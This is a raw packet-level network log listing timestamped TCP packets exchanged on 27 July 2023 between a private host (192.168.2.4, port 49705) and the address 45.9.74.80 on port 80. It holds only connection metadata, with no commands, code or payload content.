Jul 27, 2023 18:27:01.612498999 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.612529993 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.612576008 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.612610102 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.612623930 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.612659931 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.612669945 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.612716913 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.612763882 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.612770081 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.612807989 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.612855911 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.612879992 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.612900972 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.612907887 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.612946987 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.612993002 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.613008022 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.613039017 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.613085985 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.613101959 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.626796961 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.628679991 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.636081934 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.636141062 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.636184931 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.636228085 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.636245012 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.636296034 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.636342049 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.636365891 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.636384964 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.636426926 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.636441946 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.636470079 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.636544943 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.636560917 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.636588097 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.636595964 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.636636019 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.636678934 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.636699915 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.636722088 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.636766911 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.636809111 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.636826038 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.636852026 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.636894941 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.636936903 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.636965990 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.636979103 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.636989117 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.637022972 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.637065887 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.637079000 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.637109041 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.637151957 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.637166023 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.637193918 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.637236118 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.637250900 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.637295008 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.637300968 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.637341022 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.637388945 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.637397051 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.637434959 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.637481928 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.637491941 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.637526989 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.637573004 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.637622118 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.637633085 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.637670040 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.637716055 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.637726068 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.637764931 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.637810946 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.637819052 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.637857914 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.637904882 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.637908936 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.637950897 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.637996912 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.638020039 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.638042927 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.638089895 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.638099909 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.638137102 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.638143063 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.638181925 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.638228893 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.638235092 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.638274908 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.638320923 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.638328075 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.638365984 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.638422012 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.638467073 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.638514996 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.638540030 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.638560057 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.638609886 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.638636112 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.638655901 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.638703108 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.638717890 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.638748884 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.638794899 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.638799906 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.638842106 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.638889074 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.638896942 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.638935089 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.638983011 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.638991117 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.639029026 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.639075041 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.639086962 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.639121056 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.639168024 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.639214993 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.639226913 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.639262915 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.639307976 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.639321089 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.639354944 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.639358997 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.639400959 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.639446974 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.639455080 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.639492989 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.639539003 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.639550924 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.639585018 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.639636993 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.639682055 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.639693975 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.639729023 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.639775038 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.639791965 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.639837980 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.639844894 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.639883995 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.639930010 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.639938116 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.639976025 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.640023947 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.640027046 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.640069962 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.640117884 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.640162945 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.640182972 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.640208960 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.640254974 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.640276909 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.640324116 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.640368938 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.640382051 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.640415907 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.640424967 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.640460968 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.640506983 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.640520096 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.640552998 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.640604019 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.640607119 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.651209116 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.651278019 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.651369095 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.664055109 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.664155960 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.664202929 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.664244890 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.664248943 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.664316893 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.664321899 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.664366961 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.664414883 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.664418936 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.664463997 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.664514065 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.664908886 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.664958000 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.665013075 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.722022057 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.744765043 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.744863987 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.744911909 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.744956970 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.744961977 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.745001078 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.745009899 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.745048046 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.745090961 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.745105028 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.745136976 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.745203972 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.745213032 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.745248079 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.745254993 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.745291948 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.745337009 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.745347977 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.745379925 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.745425940 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.745430946 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.745471954 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.745515108 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.745526075 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.745559931 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.745604992 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.745651960 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.745660067 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.745697975 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.745742083 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.745755911 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.745785952 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.745794058 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.745831966 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.745874882 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.745897055 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.745918989 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.745963097 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.745975018 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.746006012 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.746049881 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.746093988 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.746120930 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.746138096 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.746146917 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.746182919 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.746227026 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.746269941 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.746270895 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.746315002 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.746359110 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.746371984 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.746402979 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.746447086 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.746459007 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.746491909 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.746522903 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.746536016 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.746582031 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.746628046 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.746638060 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.746673107 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.746716022 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.746728897 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.746761084 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.746805906 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.746819973 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.746851921 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.746896982 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.746908903 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.746941090 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.746949911 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.746985912 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.747031927 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.747054100 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.747075081 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.747118950 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.747133970 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.747163057 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.747208118 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.747252941 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.747266054 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.747298002 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.747344017 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.747355938 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.747389078 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.747397900 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.747431993 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.747477055 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.747490883 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.747522116 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.747566938 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.747582912 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.747615099 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.747658968 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.747704983 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.747718096 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.747750044 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.747795105 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.747806072 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.747838974 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.747848988 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.747881889 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.747927904 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.747937918 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.747972012 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.748017073 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.748033047 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.748061895 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.748106003 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.748150110 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.748162985 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.748193979 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.748239040 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.748253107 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.748298883 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.748303890 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.748349905 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.748395920 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.748408079 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.748440027 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.748483896 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.748495102 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.748529911 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.748574018 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.748620987 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.748630047 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.748665094 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.748708963 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.748724937 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.748755932 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.748768091 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.748799086 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.748845100 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.748857021 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.748891115 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.748935938 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.748950005 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.748980999 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.749026060 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.749039888 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.749070883 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.749115944 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.749130011 CEST	49705	80	192.168.2.4	45.9.74.80
Jul 27, 2023 18:27:01.749161005 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.749205112 CEST	80	49705	45.9.74.80	192.168.2.4
Jul 27, 2023 18:27:01.749248981 CEST	80	49705	45.9.74.80	192.168.2.4
